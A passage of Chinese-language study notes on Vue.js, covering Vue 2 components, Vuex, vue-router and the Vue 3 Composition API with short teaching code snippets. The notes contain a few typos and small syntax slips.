• 将要销毁 ===》调用beforeDestroy函数

• 销毁完毕 ===》调用destroyed函数

常用的生命周期钩子

1. mounted：发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】
2. beforeDestroy：清除事件、解绑自定义事件、取消订阅消息等【收尾工作】
3. activated：路由组件独有的钩子，路由组件被激活时触发
4. deactivated：路由组件独有的钩子，路由组件被失活时触发

关于销毁vue实例

1. 销毁后借助vue开发者工具看不到任何信息
2. 销毁后自定义事件会失效，但原生的事件仍然有效
3. 一般不会再beforDestroy操作数据，因为即便操作数据，也不会触发更新流程了

Vue组件化编程

vue中使用组件的三大步骤：

1. 定义组件（创建组件）
2. 注册组件
3. 使用组件（写组件标签）

如何定义一个组件？

• 受用Vue.extend(options)创建，其中options和new Vue(options)时传入的那个options几乎一样
• 区别如下：
  • el不要写，为什么？— 最终所有的组件都要经过一个vm的管理，由vm中的el决定服务哪个容器
  • data必须写成函数，为什么？ — 避免组件被复用时，数据存在引用关系
• 备注：使用template可以配置组件结构

//1.创建student组件
    const student = Vue.extend({
        template:`
            <div>
                <h2>学生姓名：{{studentName}}</h2>
                <h2>学生年龄：{{age}}</h2>
            </div>
        `,
        data() {
            return {
                studentName:'张三',
                age:18
            }
        },
    })

如何注册组件?

1. 局部注册：靠new vue的时候传入components选项
2. 全局注册：靠Vue.component(‘组件名’，‘组件’)

//全局注册
Vue.component('hello',hello)

// 创建vm
new Vue({
    el:'#root',
    data:{
        msg:'hello'
    },
    //2.注册组件（局部注册）
    components:{
        school:school,
        student

    },

})

编写组件标签？

模块与组件、模块化与组件化

模块

1. 理解：向外提供特定功能的js程序，一般就是一个js文件
2. 为什么：js文件很多很复杂
3. 作用：复用js，简化js的编写，提高js运行效率

组件

1. 组件的定义：实现应用中局部功能代码和资源的集合
2. 理解：用来实现局部（特定）功能效果的代码集合（html/css/js/image…）
3. 为什么：一个界面的功能很复杂
4. 作用：复用编码、简化项目编码、提高运行效率

模块化

当应用中的js都以模块来编写，那这个应用就是一个模块化的应用

组件化

当应用中的功能都是多组件的方式来编写的，那这个应用就是一个组件化的应用

几个注意点

关于组件名

• 一个单词组成
  • 第一种写法（首字母小写）：school
  • 第二种写法（首字母大写）：School
• 多个单词组成：
  • 第一种写法（kebab-case命名）：my–school
  • 第二种写法（CamelCase命名）：MySchool (需要脚手架支持)
• 备注：
  • 组件名尽可能回避HTML中已有的元素名称，例如：h2 H2都不行
  • 可以使用name配置项指定组件在开发者工具中呈现的名字

关于组件标签

• 第一种写法：
• 第二种写法：
• 备注：不使用脚手架时，会导致后续组件不能渲染

一个简写方式

• const school = Vue.extend(options) 可以简写为： const school = options

VueComponent

1. school组件的本质是一个名为Vuecomponent的构造函数，且不是程序员定义的，是Vue.extend生成的

2. 我们只需要写或者，Vue解析时会帮我们创建school组件的实例对象，即vue帮我们执行的：new VueComponent(options)

3. 特别注意：每次调用Vue.extend，返回的都是一个全新的VueComponent

4. 关于this指向：

   • 组件配置中：

     data函数、methods中的函数、watch中的函数、computed中的函数，它们的this均是【Vuecomponent实例对象】

   • new Vue()配置中：

     data函数、methods中的函数、watch中的函数、computed中的函数，它们的this均是【Vue实例对象】

5. Vuecomponent的实例对象，以后简称vc（也可称之为：组件实例对象）

一个重要的内置关系

1. 一个重要的内置关系：VueComponent.prototype.proto_ === Vue.prototype
2. 为什么要有这个关系：让组件实例对象（vc）可以访问到cue原型上的属性、方法

使用vue脚手架

1. vue脚手架是vue官方提供的标准化开发工具（开发平台）
2. 最新的版本是4.x
3. 文档：https://cli.vuejs.org/zh/

关于不同版本的vue

1. vue.js与vue.runtime.xxx.js的区别：

   （1）vue.js是完整版的vue，包含：核心功能+模板解析器

   （2）vue.runtime.xxx.js是运行版的vue，只包含：核心功能，没有模板解析器

2. 因为vue.runtime.xxx.js没有模板解析器，所以不能使用template配置项，需要使用render函数接收到的createElement函数去指定具体内容

脚手架文件结构：

初始化脚手架

1. （仅第一次执行）全局安装@vue/cli

   npm install -g @vue/cli

2. 切换到要创建的项目目录，然后使用命令创建项目

   vue create xxxx

3. 启动项目

   npm run serve

ref属性

1. 被用来给元素或子组件注册引用信息（id的替代者）

2. 应用在html标签上获取的是真实的DOM元素，应用在组件标签上是组件实例对象（vc）

3. 使用方式：

   打标识：

   …

   或

   获取：this.$refs.xxx

props配置

功能：让组件接受外部传过来的数据

1. 传递数据：

2. 接受数据：

   // 简单接收
   props:['name','sex','age']
   
   // 接收的同时对数据进行类型限制
   props:{
       name:String,
       age:Number,
       sex:String
   }
   
   //接受的同时对数据进行类型限制+必要性的限制+默认值的指定
   props:{  
       name:{
           type:String,  //name的类型是字符串的
               required:true,  //name是必要的
       },
       age:{
           type:Number,
               default:99  //如果不传默认值是99
       },
       sex:{
           type:String,
               required:true
       }
   }
   

备注：props是只读的，vue底层会监测你对props的修改，如果进行了修改，就会发出警告，若业务需求确实需要修改，那么请复制props的内容到data中一份，然后去修改data中的数据

mixin混入

功能：可以把多个组件共用的配置提取成一个混入对象

使用方式：

• 第一步定义混合，例如

  export const mixin = {
      methods:{
          showName(){
             alert(this.name)
          }   
      },
  }
  

• 第二步使用混合，例如

  (1)全局混入：Vue.mixin(xxx)
  (2)局部混入：mixins:['xxx']
  

plugins插件

功能：用于增强vue

本质：包含install方法的一个对象，install的第一个参数是vue，第二个以后的参数是插件使用者传递的数据

定义插件：

• 对象.install = functtion(Vue , options{

  ​ //1.添加全局过滤器

  ​ Vue.filter(…)

  ​ //2.添加全局指令

  ​ Vue.directive(…)

  ​ //3.添加全局混入

  ​ Vue.mixin(…)

  ​ //4.添加实例方法

  ​ Vue.prototype.$myMethod = function() {…}

  ​ Vue.prototype.$myProperty = xxx

  })

使用插件：Vue.use()

scoped样式

作用：让样式在局部生效，防止冲突

写法：

总结Todolist案例

1. 组件化编码流程

​ （1）拆分静态组件：组件要按照功能点拆分，命名不要与html元素冲突

​ （2）实现动态组件：考虑好数据的存放位置，数据是一个组件在用，还是一些组件在用

​ 1）一个组件在用：放在组件自身即可

​ 2）一些组件在用：放在他们共同的父组件上（状态提升）

​ （3）实现交互：从绑定事件监听开始

2. props适用于：

   （1）父组件==>子组件 通信

   （2）子组件==>父组件 通信（要求父先给子一个函数）

3. 使用v-model时要切记：v-model绑定的值不能是props传过来的值，因为props是不可以修改的

4. props传过来的若是对象类型的值，修改对象中的属性时vue不会报错，但不推荐这样做

webStorage

1. 存储内容大小一般支持5MB左右（不同浏览器可能还不一样）

2. 浏览器端通过Window.sessionStorage和Window.localStorage属性来实现本地存储机制

3. 相关API：

   1. xxxxStorage.setItem(‘key’ , ‘value’);

      该方法接受一个键和值作为参数，会把键值对添加到存储中，如果键名存在，则会更新其对应的值

   2. xxxxStorage.getItem(‘key’);

      该方法接受一个键名作为参数，返回键名对应的值

   3. xxxxStorage.removeItem(‘key’);

      该方法接受一个键名作为参数，并把该键名从存储中删除

   4. xxxxStorage.clear( );

      该方法会清空存储中的所有数据

4. 备注

   1. sessionStorage存储中的内容会随着浏览器窗口关闭而消失
   2. LocalStorage存储的内容，需要手动清除才会消失
   3. xxxxStorage.getItem(‘key’);如果xxx对应的value获取不到，那么getItem的返回值是null
   4. JSON.parse(null)的结果依然是null

组件自定义事件

1. 一种组件间通信的方式，适用于：子组件===>父组件

2. 使用场景：A是父组件，B是子组件，B想给A传数据，那么就要在A中给B绑定自定义事件（事件的回调在A中）

3. 绑定自定义事件：

   • 第一种方式，在父组件中：

     <Demo @atguigu="test"/> 或 <Demo v-on:atguigu="test"/>

   • 第二种方式，在父组件中：

     <Demo ref="demo" />
     ...
     mounted(){
         this.$refs.xxx.$on('atguigu',this.test)
     }
     

   • 若想让自定义事件只能触发一次，可以使用once修饰符，或$once方法

4. 触发自定义事件：this.$emit('atguigu',数据)

5. 解绑自定义是按：this.$off('atguigu')

6. 组件上也可以绑定原生DOM事件，需要使用native修饰符

7. 注意：通过 this.$emit('atguigu',回调)绑定自定义事件时，回调要么配置在methods中，要么用箭头函数，否则this指向会出现问题

全局事件总线

1. 一种组件间通信的方式，适用于任意组件间通信。

2. 安装全局事件总线：

   new Vue({
       ...
       beforeCreate(){
           Vue.prototype.$bus = this 
       },
   	...
   })
   

3. 使用时间总线：

   • 接受数据：A组件想接收数据，则在A组件中给$bus绑定自定义事件，事件的回调留在A组件自身

     methods(){
     	demo(data){...}
     }
     .....
     mounted(){
     	this.$bus.$on('xxx',this.demo)
     }
     

   • 提取数据：this.$bus.$emit(‘xxx’,数据)

4. 最好在beforeDestroy钩子中，用$off去解绑当前组件所用到的事件

消息的订阅与发布

1. 一种组件间通信的方式：适用于任意组件通信

2. 使用步骤：

   1. 安装pubsub：npm i pubsub-js

   2. 引入：import PubSub from ‘pubsub-js’;

   3. 接受数据：A组件想接受数据，则在A组件中订阅消息，订阅的回调留在A组件自身

      methods(){
      	demo(data){....}
      }
      
      ...
      
      mounted(){
          this.pid = pubsub.subscribe('xxx',this.demo)  //订阅消息
      }
      

   4. 提供数据：pubsub.publish(‘xxx’，数据)

   5. 最好的beforeDestroy钩子中，用 pubsub.unsubscribe(pid) 去取消订阅

nextTick

1. 语法：this.$nextTick(回调该函数)
2. 作用：在下一次DOM更新结束后执行其指定的回调
3. 什么时候用：当改变数据后，要基于更新后的新DOM进行某些操作时，要在nextTick所指定的回调函数中执行

Vue封装的过渡与动画

1. 作用：在操作、更新或移除DOM元素时，在合适的时候给元素添加样式类名。

2. 写法：

   1. 准备好样式：

      • 元素进入的样式：
        1. v-enter：进入的起点
        2. v-enter-active：进入的过程中
        3. v-enter-to：进入的终点
      • 元素离开的样式：
        1. v-leave：离开的起点
        2. v-leave-active：离开过程中
        3. v-leave-to：离开的终点

   2. 使用包裹要过度的元素，并配置name属性：

      <transition name="hello" appear>
          <h1 v-show="isShow" >你好啊</h1>
      </transition>
      

   3. 备注：若有多个元素需要过度，需要使用，且每个元素都要指定key值

      <transition-group name="hello" appear>
          <h1 v-show="isShow" key="1">你好啊</h1>
          <h1 v-show="isShow" key="2">atguigu</h1>
      </transition-group>
      

   ​

vue脚手架配置代理

方法一

​ 在vue.config.js中添加如下配置：

devServer:{
	proxy:"http://localhost:5000"
}

说明：

1. 优点：配置简单，请求资源时直接发给前端（8080）即可
2. 缺点：不能配置多个代理，不能灵活的控制请求是否走代理
3. 工作方式：若按照上述配置代理，当请求了前端不群在的资源时，那么该请求会转发给服务器（优先匹配前端资源）

方式二

​ 编写vue.cvonfig.js配置具体代理规则：

module.exports = {
  devServer: {
    proxy: {
      '/api1': {   //匹配所有以'/api1'开头的请求路径
        target: 'http://localhost:5000',  //代理目标的基础路径
        pathRewrite:{'^/api1',''}
        ws: true,
        changeOrigin: true
      },
      '/api2': {   //匹配所有以'/api2'开头的请求路径
        target: 'http://localhost:5001',  //代理目标的基础路径
        pathRewrite:{'^/api2',''}
        ws: true,
        changeOrigin: true
      },
    }
  }
}


/*
	changeOrigin设置为true时，服务器收到的请求头中的host为：localhost：5000
	changeOrigin设置为false时，服务器收到的请求头中的host为：localhost：8080
	changeOrigin默认值为true
*/

插槽

1. 作用：让父组件可以向子组件指定位置插入html结构，也是组件间通信的方式，适用于父组件 ===> 子组件

2. 分类：默认插槽、具名插槽、作用域插槽

3. 使用方式：

   1. 默认插槽

      父组件中：
      	<Category>
              <div>结构1</div>
      	</Category>
      子组件中：
      	<template>
      		<div>
                 	<!-- 定义插槽 -->
                  <slot>插槽默认内容</slot>
              </div>
      	</template>
      

   2. 具名插槽

      父组件中：
      	<Category>
              <template slot="center">
      			<div>html结构1</div>
      		</template>
      	</Category>
      	<Category>
              <template v-slot:footer>
      			<div>html结构2/div>
      		</template>
      	</Category>
      子组件中：
      	<template>
      		<div>
                 	<!-- 定义插槽 -->
                  <slot name="center">插槽默认内容</slot>
                  <slot name="footer">插槽默认内容</slot>
              </div>
      	</template>
      

   3. 作用域插槽：

      • 理解：数据在组件的自身，但根据数据生成的结构需要组件的使用者来决定。（games数据在Category组件中，但使用数据所遍历出来的结构由App组件决定）

      • 具体编码

        父组件中：
        	<Category>
                <template scope="scopeData">
        			<!-- 生成的是ul列表 -->
        			<ul>
                        <li v-for="g in scopeData.games" :key="g">{{g}}</li>
                    </ul>
        		</template>
        	</Category>
        	<Category>
                <template scope="scopeData">
        			<!-- 生成的是h4标题 -->
        			<h4 v-for="g in scopeData.games" :key="g">{{g}}</h4>
        		</template>
        	</Category>
        	
        子组件中：
        	<template>
        		<div>
                   	<!-- 定义插槽 -->
                    <slot :games="games">插槽默认内容</slot>
                </div>
        	</template>
        	<script>
                export default {
                name:'Category',
                props:['title'],
                data(){
                        return{
                            games:['红色警戒','穿越火线','劲舞团','超级玛丽'],
                        }
                    }
        
            }
            </script>
        

Vuex

理解vuex

1. 概念：专门在vue中实现集中式状态（数据）管理的一个vue插件，对vue应用中多个组件的共享状态进行集中式的管理（读/写），也是一种组件间通信的方式，且适用于任意组件间通信。
2. 什么时候使用vuex：
   • 多个组件依赖于统一状态
   • 来自不同组件的行为需要变更统一状态

搭建vuex环境

1. 创建文件：src/store/index.js

   // 该文件用于创建vuex中最为核心的store
   //引入vue
   import Vue from 'vue'
   // 引入vuex
   import Vuex from 'vuex'
   // 使用vuex插件
   Vue.use(Vuex)
   
   // 准备actions：用于响应组件中的动作
   const actions = {}
   
   // 准备mutations：用于操作数据（state）
   const mutations = {}
   
   // 准备state：用于存储数据
   const state = {}
   
   
   
   // 创建并暴露store
   export default new Vuex.Store({
       actions,
       mutations,
       state,
   })
   

2. 在main.js中创建vm时传入store配置项

   ...
   // 引入store
   import store from './store'
   
   
   //创建vm
   new Vue({
       el:'#app',
       render: h => h(App),
       store,
       beforeCreate(){
           Vue.prototype.$bus = this
       }
       
   })
   

基本使用

1. 初始化数据，配置actions、配置mutations，操作文件store.js

   // 该文件用于创建vuex中最为核心的store
   //引入vue
   import Vue from 'vue'
   // 引入vuex
   import Vuex from 'vuex'
   // 使用vuex插件
   Vue.use(Vuex)
   
   // 准备actions：用于响应组件中的动作
   const actions = {
       // increment(context,value){
       //     context.commit('INCREMENT',value)
       // },
       // decrement(context,value){
       //     context.commit('DECREMENT',value)
       // },
       incrementOdd(context,value){
           if(context.state.sum % 2){
               context.commit('INCREMENT',value)
           }
           
       },
       incrementWait(context,value){
           setTimeout(()=>{
               //函数体
               context.commit('INCREMENT',value)
             },500)
     
       }
   }
   
   // 准备mutations：用于操作数据（state）
   const mutations = {
       INCREMENT(state,value){
          state.sum += value
       },
       DECREMENT(state,value){
           state.sum -= value
        },
    
   }
   
   // 准备state：用于存储数据
   const state = {
       sum:0  //当前的和
   }
   
   
   
   // 创建并暴露store
   export default new Vuex.Store({
       actions,
       mutations,
       state,
   })
   
   
   

2. 组件中读取vuex中的数据：$store.state.sum

3. 组件中修改vuex中的数据：

   $store.dispatch('action中的方法名',数据)
   //或者
   $store.commit('mutation中的方法名',数据)
   

备注：若没有网络请求或其他业务逻辑，组件中也可以越过actions，即不屑dispatch，直接写commit

getters的使用

1. 概念：当state中的数据需要经过加工后再使用时，可以使用getters加工

2. 在store.js中追加getters配置

   // 准备getters：用于将state的数据进行加工
   const getters = {
       bigSum(state){
           return state.sum * 10
       }
   }
   
   // 创建并暴露store
   export default new Vuex.Store({
       ...
       getters,
   })
   

3. 组件中读取数据：$store.getters.bigSum

四个map方法的使用

1. mapState方法：用于帮助我们映射state中的数据为计算属性

   computed:{
   	 // 借助mapState生成计算属性，从state中读取数据（对象写法）
        ...mapState({sum:'sum',school:'school',subject:'subject'}),
        
   
         // 借助mapState生成计算属性，从state中读取数据（数组写法）
         ...mapState(['sum','school','subject']),
       
   }
   

2. mapGetters方法：用于帮助我们映射getters中的数据为计算属性

   computed:{
   	 // 借助mapGetters生成计算属性，从getter中读取数据（对象写法）
         ...mapGetters({bigSum:'bigSum'}),
   
         // 借助mapGetters生成计算属性，从getter中读取数据（数组写法）
         ...mapGetters(['bigSum'])
       
   }
   

3. mapActions方法：用于帮助我们生成与actions对话的方法，即：包含$store.dispatch(xxx)的函数

   methods:{
       // 借助mapActions生成对应的方法，方法中会调用dispatch去联系actions（对象写法）   
       ...mapActions({incrementWait:'incrementWait',incrementOdd:'incrementOdd'}),
   
         // 借助mapActions生成对应的方法，方法中会调用dispatch去联系actions（数组写法
       ...mapActions(['incrementWait','incrementOdd'])
   }
   

4. mapMutations方法：用于帮助我们生成与mutations对话的方法，即：包含$store.commit(xxx)的函数

   methods:{
       // 借助mapMutations生成对应的方法，方法中会调用commit去联系mutations（对象写法）
         ...mapMutations({increment:'INCREMENT',decrement:'DECREMENT'}),
   
          // 借助mapMutations生成对应的方法，方法中会调用commit去联系mutations（数组写法）
           ...mapMutations(['increment','decrement']),
   
   
   }
   

备注：mapActions与mapMutations使用时，若需要传递参数需要：在模板中绑定事件时传递好参数，否则参数是事件对象。

模块化+命名空间

1. 目的：让代码更好维护，让多种数据分类更加明确

2. 修改store.js

   const countAbout = {
       namespaced:true, //开启命名空间
       actions:{...},
       mutations:{...},
       state:{...},
       getters:{...},
   }
              
   const personAbout = {
       namespaced:true,
       actions:{...},
       mutations:{...},
       state:{...},
       getters:{...},
   }
   
   const store = new Vuex.Store({
       modules:{
           countAbout,
           personAbout  
       }       
   })
   

3. 开启命名空间后，组件中读取state数据：

   //方式一：自己直接读取
   this.$store.state.personAbout.list
   //方式二：借助mapstate读取
   ...mapState('countAbout',['sum','school','subject']),
   

4. 开启命名空间后，组件中读取getters数据：

   //方式一：自己直接读取
   this.$store.getters['personAbout/firstPersonName']
   //方式二：借助mapGetters读取
   ...mapGetters('countAbout',['bigSum'])
   

5. 开启命名空间后，组件调用dispatch

   //方式一：自己直接dispatch
   this.$store.dispatch('personAbout/addPersonWang',person)
   //方式二：借助mapActions
   ...mapActions('countAbout',{incrementWait:'incrementWait',incrementOdd:'incrementOdd'}),
   

6. 开启命名空间后，组件调用commit

   //方式一：自己直接commit
   this.$store.commit('personAbout/ADD_PERSON',person)
   //方式二：借助mapMutations
   ...mapMutations('countAbout',{increment:'INCREMENT',decrement:'DECREMENT'}),
   

Vue-router

对SPA应用的理解

1. 单页web应用（single page web application，SPA）
2. 整个应用只有一个完整的页面
3. 点击页面中的导航链接不会刷新页面，只会做页面的局部更新
4. 数据需要通过ajax请求获取

路由的理解

1. 一个路由就是一组映射关系（key：value），多个路由需要路由器（router）进行管理
2. 前端路由：key是路径，value是组件

路由分类

1. 后端路由

   • 理解：value是function，用于处理客户提交的请求
   • 工作过程：服务器接收到一个请求时，根据请求路径找到匹配的函数来处理请求，返回响应数据

2. 前端路由：

   • 理解：value是component，用于展示页面内容
   • 工作过程：当浏览器的路径改变时，对用的组件就会显示

基本使用

1. 安装vue-router，命令：npm i vue-router

2. 应用插件：

   // 引入vue-router
   import VueRouter from 'vue-router'
   
   // 应用插件
   Vue.use(VueRouter)
   

3. 编写router配置项

   // 该文件专门用于创建整个应用的路由器
   import VueRouter from "vue-router";
   
   // 引入组件
   import About from '../components/About.vue'
   import Home from '../components/Home.vue'
   
   // 创建并暴露一个路由器
   export default new VueRouter({
       routes:[
           {
               path:'/about',
               component:About
           },
           {
               path:'/home',
               component:Home
           },
       ]
   })
   

4. 实现切换(active-class 可配置高亮样式)

   <!-- Vue中借助router-link标签实现路由的切换 -->
   <router-link class="list-group-item" active-class="active" to="/about">About</router-link>
   <router-link class="list-group-item" active-class="active" to="/home">Home</router-link>
   

5. 指定展示位置

   <!-- 指定组件的呈现位置 -->
   <router-view></router-view>
   

几个注意点

1. 路由组件通常存放在pages文件夹，一般组件通常放在components文件夹
2. 通过切换，“隐藏”了的路由组件，默认是被销毁的，需要的时候再去挂载
3. 每个组件都有自己的$route属性，里面存储着自己的路由信息
4. 整个应用只有一个router，可以通过组件的$router属性获取到

嵌套路由（多级路由）

1. 配置路由规则，使用children配置项:

   routes:[
       {
           path:'/about',
           component:About
       },
       {
           path:'/home',
           component:Home,
           children:[
               {
                   path:'news',
                   component:News
               },
               {
                   path:'message',
                   component:Message
               }
           ]
       },
   ]
   

2. 跳转（要写完整路径）

   <router-link class="list-group-item" active-class="active" to="/home/news">News</router-link>
   
   

路由的query参数

1. 传递参数

   <!-- 跳转路由并携带query参数，to的字符串写法 -->
   <router-link :to="`/home/message/detail?id=${m.id}&title=${m.title}`">{{m.title}}</router-link>&nbsp;&nbsp; 
   
   <!-- 跳转路由并携带query参数，to的对象写法 -->
   <router-link :to="{
                     path:'/home/message/detail',
                     query:{
                     id:m.id,
                     title:m.title
                     }
                     }">
       {{m.title}}
   </router-link>
   

2. 接受参数

   $route.query.id
   $route.query.title
   

   、

路由的params参数

1. 配置路由，声明接受params参数

   {
       path:'/home',
       component:Home,
       children:[
           {
               path:'news',
               component:News
           },
           {
               path:'message',
               component:Message,
               children:[
                   {
                       name:'xiangqing',
                       path:'detail/:id/:title',
                       component:Detail
                   },
               ]
           }
       ]
   },
   

2. 传递参数

   <!-- 跳转路由并携带params参数，to的字符串写法 -->
   <router-link :to="`/home/message/detail/${m.id}/${m.title}`">{{m.title}}</router-link>&nbsp;&nbsp;
   
   <!-- 跳转路由并携带params参数，to的对象写法 -->
   <router-link :to="{
                     name:'xiangqing',
                     params:{
                     id:m.id,
                     title:m.title
                     }
                     }">
       {{m.title}}
   </router-link>
   
   

3. 接受参数：

   $route.params.id
   $route.params.title
   

特别注意：路由携带params参数时，如果使用to的对象写法，则不能使用path配置项，必须使用name配置！

命名路由

1. 作用：可以简化路由的跳转

2. 如何使用

   1. 给路由命名:

      {
          path:'/demo',
          component:Demo,
          children:[
              {
                  path:'test',
                  component:Test,
                  children:[
                      {
                          name:'hello',
                          path:'welcome',
                          component:Welcome
                      },
                  ]
              }
          ]
      },
      

   2. 简化跳转：

      <!-- 简化前，需要写完整的路径 -->
      <router-link to="/demo/test/welcom">跳转</router-link>
      
      <!-- 简化后，直接通过名字跳转 -->
      <router-link :to="{name:'hello'}">跳转</router-link>
      
      <router-link 
          :to="{
               name:'hello',
               query:{
               	id:333,
               	title:'Nihao'
               }
       	}"
      >跳转</router-link>
      

路由的props配置

作用：让路由组件更加方便的收到参数

{
    name:'xiangqing',
    path:'detail/:id/:title',
    component:Detail,
    // props的第一种写法，值为，该对象中所有的key-value都会以props的形式传给detail组件
    // props:{a:1,b:'hello'}

    // props的第二种写法，值为布尔值，若布尔值为真，就会把该路由组件收到的所有params参数，以props的形式传给detail组件
    // props:true

    // props的第三种写法，值为函数
    props($route){
    return{
        id:$route.params.id,
        title:$route.params.title
    }
    }
}

< route-link>的replace属性

1. 作用：控制路由跳转时操作浏览器历史记录的模式
2. 浏览器的历史记录有两种写入方式：分别为push和replace，push是追加历史记录，replace是替换当前记录，路由跳转时候默认为push
3. 如何开启replace模式：<route-link replace …>News< /route-link>

编程式路由导航

1. 作用：不借助< route-link >实现路由跳转，让路由跳转更加灵活

2. 具体编码：

   //$router的两个api
   this.$router.push({
       name:'xiangqing',
       params:{
           id:xxx.
           title:xxx
       }
   })
   
   
   this.$router.replace({
       name:'xiangqing',
       parmas:{
           id:xxx,
           title:xxx
       }
   })
   
   this.$router.back() //后退
   this.$router.forward() //前进
   this.$router.go(-2) //可前进也可后退
   

缓存路由组件

1. 作用：让不展示的路由组件保持挂载，不被销毁

2. 具体编码：

   <keep-alive include="News">
       <router-view></router-view>           
   </keep-alive>
   

路由守卫

1. 作用：对路由进行权限控制

2. 分类：全局守卫、独享守卫、组件内守卫

3. 全局守卫

   // 全局前置路由守卫 -- 初始化的时候调用、每次路由切换之前被调用
   router.beforeEach((to,from,next)=>{
       console.log('前置路由守卫',to,from);   
       if(to.meta.isAuth){ //判断是否需要权限控制
           if(localStorage.getItem('school')==='atguigu'){
               next()  //放行
           }else{
               alert('学校名不对无权访问')
           }
       }else{
           next()
       }
   
   })
   
   // 全局后置路由守卫 -- 初始化的时候调用、每次路由切换之后被调用
   router.afterEach((to,from)=>{
       console.log('后置路由守卫',to,from);
       document.title = to.meta.title || 'atguigu'   //修改网页title
   
   })
   
   

4. 独享路由守卫

   beforeEnter:(to,from,next)=>{
       if(to.meta.isAuth){ //判断是否需要检验权限
           if(localStorage.getItem('school')==='atguigu'){
               next()
           }else{
               alert('学校名不对无权访问')
           }
       }else{
           next()
       }
   
   }
   

5. 组件内守卫：

   //通过路由规则进入该组件时被调用
   beforeRouteEnter(to,from,next){
   
   },
   //通过路由规则离开该组件时被调用
   beforeRouteLeave(to,from,next){
   
   }
   

路由器的两种工作模式

1. 对于一个url来说，什么是hash值？ ---- #及其后面的内容就是hash值
2. hash值不会包含在HTTP请求中，即：hash值不会带给服务器
3. hash模式：
   • 地址永远带着#，不美观
   • 若以后将地址 通过第三方手机app分享，若app校验严格，则地址会被标记为不合法
   • 兼容性比较好
4. history模式
   • 地址干净、美观
   • 兼容性和hash模式相比略差
   • 应用部署上线时需要后端人员支持，解决刷新也买你服务端404的问题 – 可以通过引用npm中connect-history-api-fallback解决

Vue UI组件库

1. 移动端常用UI组件库
   • Vant：https://youzan.github.io/vant-weapp/#/home
   • Cube UI：https://didi.github.io/cube-ui
   • Mint UI：http://mint-ui.github.io
2. PC端常用UI组件库
   • Element UI：https://element.eleme.cn
   • IView UI : https://www.iviewui.com/

Vue3

setup

1. 理解：vue3中一个新的配置项，值为一个函数
2. setup是所有Composition API（组合API）“表演的舞台”
3. 组件中所用到的：数据、方法等等，均要配置在setup中
4. setup函数中的两种返回值：
   1. 若返回一个对象，则对象中的属性、方法，子啊模板中均可以直接使用
   2. 若返回一个渲染函数，则可以自定义渲染内容
5. 注意点：
   • setup不能是一个async函数，因为返回值不再是return的对象，而是promise，模板咯不到return对象中的属性
   • 尽量不要与vue2配置混用

ref函数

• 作用：定义一个响应式的数据
• 语法：const xxx = ref ( initValue )
  • 创建一个包含响应式数据的引用对象（reference对象，简称ref对象）
  • JS中操作数据：xxx.value
  • 模板中读取数据，不需要.value，直接
    {{xxx}}
• 备注
  • 接受的数据可以是：基本类型、也可以是对象类型
  • 基本类型的数据：响应式依然是靠Object.defineProperty()的set和get完成的
  • 对象类型的数据：内部“求助”了vue3中的一个新函数：reactive函数

reactive函数

1. 作用：定义一个对象类型的响应式数据（基本类型不要用它，要用ref函数）
2. 语法：const 代理对象 = reactive（源对象）接收一个对象（或数组） ，返回一个代理对象（proxy的实例对象，简称proxy对象）
3. reactive定义的响应式数据是“深层次的”
4. 内部基于ES6的proxy实现，通过代理对象操作内部数据进行操作

响应式原理

vue2.x的响应式

• 实现原理：

  • 对象类型：通过object.defineProperty()对属性的读取、修改进行拦截（数据劫持）

  • 数组类型：通过重写更新数据的一系列方法来实现拦截（对数据的变更方法进行了包裹）

    Object.defineProperty(data,'count',{
        get(){},
        set(){}
    })
    

• 存在问题：

  • 新增属性、删除属性，界面不会更新
  • 直接通过下表修改按钮，界面不会自动更新

vue3.0的响应式

• 实现原理：

  • 通过Proxy（代理）：拦截对象中任意属性的变化，包括：属性值的读写、属性的添加、属性的删除等
  • 通过Reflect（反射）：对被代理对象的属性进行操作

  new Proxy(data,{
  	//拦截读取属性
      get(target,propName){
          return Reflect.get(target,propName)
      },
      
      //拦截设置属性值或添加新属性
      set(target,propName,value){
          return Reflect.set(target,propName,value)
      },
      
      //拦截器删除属性
      deleteProperty(target,propName){
          return Reflect.deleteProperty(target,propName)
      }
  })
  

reactive对比ref

• 从定义数据角度来看
  • ref用来定义：基本数据类型
  • reactive用来定义：对象（或数组）类型数据
  • 备注：ref也可以用来定义对象（或数组）类型数据，它内部会自动通过reactive转为代理对象
• 从原理角度对比：
  • ref通过Object.defineProperty()的get与set来实现响应式（数据劫持）
  • reactive通过使用Proxy来实现响应式（数据劫持），并通过Reflect操作源对象内部的数据
• 从使用角度对比：
  • ref定义的数据：操作数据需要.value，读取数据时模板中直接读取不需要.value
  • reactive定义的数据：操作数据与读取数据：均不需要.value

setup的两个注意点

• setup执行的时机
  • 在beforeCreate之前执行一次，this是undefined
• setup的参数
  • props：值为对象，包括：组件外部传递过来，且组件内部声明接受了的属性
  • context：上下文对象
    • attrs：值为对象，包含：组件外部传递过来，但没有在props配置中声明的属性，相当于$attrs
    • slots：收到的插槽内容，相当于this.$slots
    • emit：分发自定义事件的函数，相当于this.$emit

计算属性

computed函数

• 与vue2.x中computed配置功能一致

• 写法

  import {computed} from 'vue'
  
  setup(){
      ...
      //计算属性——简写
      let fullName = computed(()=>{
          return person.firstName + '-' + person.lastName
      })
      //计算属性——完整
      let fullName = computed({
          get(){
              return person.firstName + '-' + person.lastName
          }
          set(value){
              const nameArr = value.split('-')
              person.firstName = nameArr[0]
              person.lastName = nameArr[1]
     		}
      })
  }
  

watch函数

• 与vue2.x中watch配置功能一致
• 两个小坑：
  • 监视reactive定义的响应式数据时：oldValue无法正确获取，强制开启了深度监视（deep配置失效）
  • 监视reactive定义的响应式数据中某个属性时：deep配置有效

//数据
let sum = ref(0)
let msg = ref('hello')
let person = reactive({
    name:'张三',
    age:18
})

//  情况1：监视ref定义的响应式数据
watch(sum,(newValue,oldValue)=>{
    console.log('sum变了',newValue,oldValue)
})

//  情况2：监视ref定义的多个响应式数据
watch([sum,msg],(newValue,oldValue)=>{
    console.log('sum或msg变了',newValue,oldValue)
})

/*  情况3：监视reactive定义的响应式数据
            1.注意：此处无法正确获取oldvalue
            2.注意：强制开启了深度监视（deep配置无效）
*/
watch(person,(newValue,oldValue)=>{
    console.log('person变了',newValue,oldValue)
})


//  情况4：监视reactive定义的响应式数据的某个属性
watch(()=>person.age,(newValue,oldValue)=>{
    console.log('person.age变了',newValue,oldValue)
})


//  情况5：监视reactive定义的响应式数据的某些属性
watch([()=>person.age,()=>person.name],(newValue,oldValue)=>{
    console.log('person.age变了',newValue,oldValue)
})

// 特殊情况
